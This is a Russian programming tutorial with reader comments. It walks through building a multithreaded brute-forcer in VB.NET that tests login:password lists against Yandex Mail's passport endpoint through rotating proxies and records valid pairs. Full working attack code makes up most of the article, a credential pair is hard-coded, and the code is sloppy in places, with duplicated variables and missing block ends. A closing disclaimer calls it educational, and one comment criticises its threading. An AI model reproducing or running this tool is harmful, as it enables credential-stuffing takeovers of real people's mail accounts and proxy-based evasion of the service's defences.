Программирование
Веб программирование

Написание брутфорса. Часть 2. Многопоточный брут

 
 

Всем привет! Наконец-то нашел время для написания второй части про брутфорс.

В ней я покажу как создать многопоточный брутфорс. Брутить будем Яндекс Почту.

Внимание! Перед тем как читать эту статью, рекомендую прочитать первую часть

Теория:

1. Многопоточность

Многопоточность - позволяет выполнять какое либо действие независимо от другого. Например: Вы играете в игру, а параллельно ваш торрент клиент качает какой-нибудь  фильм. Каждая из этих программ работает в своем потоке и не вмешивается в работу другой. Так же и c многопоточным перебором. Каждый поток проверяет свою связку логин:пароль и ему глубоко пофиг на то, что проверяет другой поток. После проверки одной связки, поток возьмет новую связку.

В брутфорсе она в разы увеличивает скорость перебора, т.к позволяет отправлять запросы на сервер независимо друг от друга.

Подробнее о многопоточности можно прочитать на википедии:

Реализация многопоточности в VB.NET выглядит следующим образом:

Dim ThreadsList As New List(Of Threading.Thread) ' Лист потоков
Dim i As Integer  ' Счетчик потоковFor i = 0 To 14 ' Создаем 15 потоков (отсчет от нуля) 
Dim thread As New Threading.Thread(AddressOf DoSomething) ' Указываем адресс процедуры, которая должна выполняться в новом потоке         
thread.IsBackground = True ' Поток будет работать в фоновом режиме    
ThreadsList.Add(thread) ' Добавим поток в лист  
thread.Start() ' Запускаем поток 
Next

2. Делегаты

Делегат  - структура данных, указывающая на статические методы или методы экземпляра класса в .NET Framework. Подробнее можно почитать в Википедии. Мы будем их использовать в качестве проводников между потоками и элементами управления формы, т.к по умолчанию к элементам управления можно получить доступ из того потока, в котором они были созданы.

Пример простого делегата, который обеспечит другому потоку доступ к заголовку формы:

Private Delegate Sub WriteText(ByVal text As String) ' Делегат   
Private Sub WriteTextSub(ByVal text As String) ' Процедура делегата
If Not (Me.InvokeRequired) Then   ' Если запрос из родного (для элемента) потока, то просто записываем текст
Me.Text = text   
Else ' Если доступ из другого потока, то используем делегат
Me.Invoke(New WriteText(AddressOf WriteTextSub), text)
End If
End Sub

Сразу понять это сложно, т.к делегаты  - обширная тема.

Ну, теории хватит. Перейдем к практике.

Практика:

1. Интерфейс

Для начала определимся с эелементами управления. На форме должны быть:

  1. Статистика (Good,Bad,Proxy)
  2. Выбор путей до файлов Source и Proxy
  3. Выбор кол-ва потоков
  4. Кнопки управления брутфорсом (Start, Stop, Play, Pause)
  5. Окно для вывода правильных комбинаций логин:пароль

У меня получилось так (я использовал тему оформления Ghost):


 

Теперь можно приступить к написанию кода.

2. Код

  1. Создадим два модуля Globals и Brute
  2. В модуле Globals пишем следующий код:
Public SourcePath, ProxyPath As String ' Переменнные для путей Source и Proxy   
Public Good, Bad, ProxyCount, ThreadsCount As Int32  ' Переменные для статистики
Public Proxy As New ArrayList ' Массив для прокси
Public Source As New Queue(Of String) ' Очередь для Source
Public Threads As New List(Of Threading.Thread) ' Лист потоков

3. Теперь напишем коды для кнопок открытия списков Source и Proxy (кнопок с "..."):

'Загружам Source       
Dim f As New OpenFileDialog
f.Filter = "Текстовые документы (*.txt)|*.txt|Все файлы (*.*)|*.*"
If f.ShowDialog = Windows.Forms.DialogResult.OK And f.FileName <> "" Then
SourcePath = f.FileName
txtSourcePath.Text = f.FileName
End If

' Загружаем Proxy
Dim f As New OpenFileDialog
f.Filter = "Текстовые документы (*.txt)|*.txt|Все файлы (*.*)|*.*"
If f.ShowDialog = Windows.Forms.DialogResult.OK And f.FileName <> "" Then
ProxyPath = f.FileName
txtProxyPath.Text = f.FileName
End If

4. Код для кнопки случайного кол-ва потоков:

'Генерируем случайное кол-во потоков
Randomize()
Dim r As New Random
numThreads.Value = r.Next(1, 100)

5. Коды для управляющих кнопок:

Кнопка Старт:

Call StartBrute() ' Процедура запуска брутфорса. Создадим позже в модуле Brute

Кнопка Стоп:

For i = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
Threads(i).Abort() ' Принудительно завершаем каждый поток
Next

Кнопка Пауза:

For i = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
Threads(i).Suspend() ' Приостанавливаем каждый поток
Next

Кнопка Продолжить:

For i = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
Threads(i).Resume() ' Возобновляем работу потоков
Next

С кнопками закончили. Теперь перейдем к написанию процедур делагатов.

В модуле формы пишем следующий код:


Private Delegate Sub WriteGood(ByVal text As String) ' Делегат записи правильных комбинаций логин:пароль
Private Delegate Sub WriteGoodCount() ' Делегат записи кол-ва Good
Private Delegate Sub WriteBadCount() ' Делегат записи кол-ва Good
Private Sub WriteGoodSub(ByVal text As String)
If Not (Me.InvokeRequired) Then ' Если запрос из родного (для элемента) потока, то просто записываем текст Me.txtGood.Text += text + vbNewLine Else ' Если доступ из другого потока, то используем делегат
Me.Invoke(New WriteGood(AddressOf WriteGoodSub), text)
End If
End Sub
Private Sub WriteGoodCountSub()
If Not (Me.InvokeRequired) Then lblGoodCount.Text = GoodCount.ToString
Else
Me.Invoke(New WriteGoodCount(AddressOf WriteGoodCountSub)) End If
End Sub

Private Sub WriteBadCountSub()
If Not (Me.InvokeRequired) Then lblBadCount.Text = BadCount.ToString
Else
Me.Invoke(New WriteBadCount(AddressOf WriteBadCountSub)) End If
End Sub

Процедуры загрузки списков:

Public Sub LoadSource() ' Загружаем Source
Try
Dim a As New ArrayList
a.AddRange(IO.File.ReadAllLines(SourcePath))
For i = 0 To a.Count - 1 Source.Enqueue(a(i))
Next
Catch ex As Exception
MessageBox.Show(ex.Message)
End Try
End Sub

Public Sub LoadProxy() ' Загружаем Proxy
If ProxyPath <> "" Then Try Proxy.AddRange(IO.File.ReadAllLines(ProxyPath))
Catch ex As Exception
MessageBox.Show(ex.Message)
End Try
End If
End Sub

Далее - процедура авторизации (в модуле Brute):

Public Function CreateRequest(ByVal login As String, ByVal pass As String) As Boolean
Try
Dim PostData As String = "mode=auth&login=" + login + "&passwd=" + pass ' Данные для авторизации '
Dim postdata As String = "https://passport.yandex.ru/passport?mode=auth&login=dr.killo&passwd=ak-47rus"
Dim request As HttpWebRequest
Dim response As HttpWebResponse request = CType(WebRequest.Create("https://passport.yandex.ru/passport"), HttpWebRequest) ' Отправляем запрос
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = PostData.Length
request.Method = "POST"
request.AllowAutoRedirect = False
If ProxyPath <> "" Then
request.Proxy = GetRandomProxy ' Если юзер загрузил список прокси, то вызываем функцию GetRandomProxy
End If

Dim requestStream As Stream = request.GetRequestStream()
Dim postBytes As Byte() = System.Text.Encoding.ASCII.GetBytes(PostData)
requestStream.Write(postBytes, 0, postBytes.Length)
requestStream.Close()
response = CType(request.GetResponse(), HttpWebResponse) ' Считываем ответ
If response.Headers("Set-Cookie").IndexOf("L") > 0 Then ' Проверка комбинации логин:пароль на валидность
Return True
Else
Return False
End If
Catch ex As Exception
' Если произошла ошибка, то записываем непроверенную комбинацию обратно в очередь:
Source.Enqueue(login + ":" + pass)
End Try
End Function

И последняя побочная функция - GetRandomProxy:

Private Function GetRandomProxy() As WebProxy
If ProxyPath <> "" Then ' Если юзер загрузил список прокси, то
Try
1:
Dim r As New Random ' Генератор случаных чисел
Dim i As Int32 = r.Next(1, Proxy.Count) ' Генерируем случайное число
Dim ProxyAdr As String = Proxy(i) ' Берем случайную проксю из списка
Dim prox As New WebProxy(ProxyAdr) ' И приводим к типу WebProxy
Return prox
Catch ex As Exception 'Если поймали исключение, то начинаем все сначала
GoTo 1
End Try
End If
End Function

Теперь все готово для написания главной функции пребора (в модуле Form):

Private Sub BruteForce() Do While Source.Count > 0 ' Перебираем, пока в очереди есть данные
Dim login, pass As String
Dim data As String data = Source.Dequeue ' Берем комбинацию логин:пароль из очереди
' Разделяем комбинацию на:
login = Split(data, ":")(0) ' Логин
pass = Split(data, ":")(1) ' Пароль
' Проверяем их на валид:
If CreateRequest(login, pass) = True Then ' Если валид, то:
WriteGoodSub(login + ":" + pass) ' Записываем правильную комбинацию в лог
GoodCount += 1 ' Прибавляем единичку к статистике гудов
WriteGoodCountSub() ' Записываем кол-во гудов
Else
BadCount += 1
WriteBadCountSub()
End If
Loop

End Sub

Процедура запуска брутфорса:

Public Sub StartBrute()
'Сбрасываем счечтчики
BadCount = 0
GoodCount = 0
ProxyCount = 0
txtGood.Text = ""
lblBadCount.Text = "0"
lblGoodCount.Text = "0"
LoadSource()
LoadProxy()

If numThreads.Value = 0 Then
ThreadsCount = 1
Else

ThreadsCount = numThreads.Value

' Создаем потоки
For i = 0 To ThreadsCount - 1

Dim a As New Threading.Thread(AddressOf BruteForce)
a.IsBackground = True
a.Start()

Threads.Add(a)

Next

End Sub

Все. Брутфорс готов. Результат:

Исходник: Скачать файл [242772 кб]

P.S. Выделение кода почему-то не работает=(


Есть вопросы? Спроси на нашем форуме!!
Гость [09.03.2013 20:30]

а что в списке указывать?
login:pass ?

и работает ли он с корп. мыльниками?

ChaMike [24.07.2013 15:46]

Автор, подскажи, как прицепить такое же оформление для программы.

dryn [05.12.2014 17:05]

Ссылка на исходник не рабочая, обновите пожалуйста

Stertor370 [05.12.2014 18:22]

Товарищи, не читайте этот бред! Многопоточность - очень, очень-очень-очень серьёзный вопрос, который следует скрупулёзно изучать самому, а не забивать голову чьим-то полоумным бредом, один опус уродливее другого:

For i = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
Threads(i).Suspend() ' Приостанавливаем каждый поток
Next

Suspend, к слову, - это ничто иное, как обертка над API SuspendThread, которую нельзя использовать для иных целей, кроме как отладочных, поскольку она может остановить поток в любой самый неподходящий для этого момент,- но автор об этом видимо не слышал. Вместо Suspend в аналогичных случаях нужно использовать CreateEvent/WaitForSingleObject - а что это такое, я Вам не скажу; Вы сами узнаете, прочитав книгу Дэна Эпплмана "Windows API и Visual Basic для профессионалов".

For i = 0 To Threads.Count - 1 ' Перебираем все потоки в списке
Threads(i).Abort() ' Принудительно завершаем каждый поток
Next

и чему должен научить новичка этот пример, беспредел творить? Даже в .Net, - языке для масдайного ламья где есть сборщик мусора, который подчищает всё за прогой,- нельзя так буйствовать. В нормальных же языках всё иначе: поток должен умереть самостоятельно, просто его нужно правильно завершить. Иначе идёт утечка ресурсов - незакрытые хендлы, неосвобождённая память, и т.п.

alisher1997 [09.04.2015 07:37]

а где вводить пароль и логин
если захотите ответить:alisherusmonov97@mail.ru



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.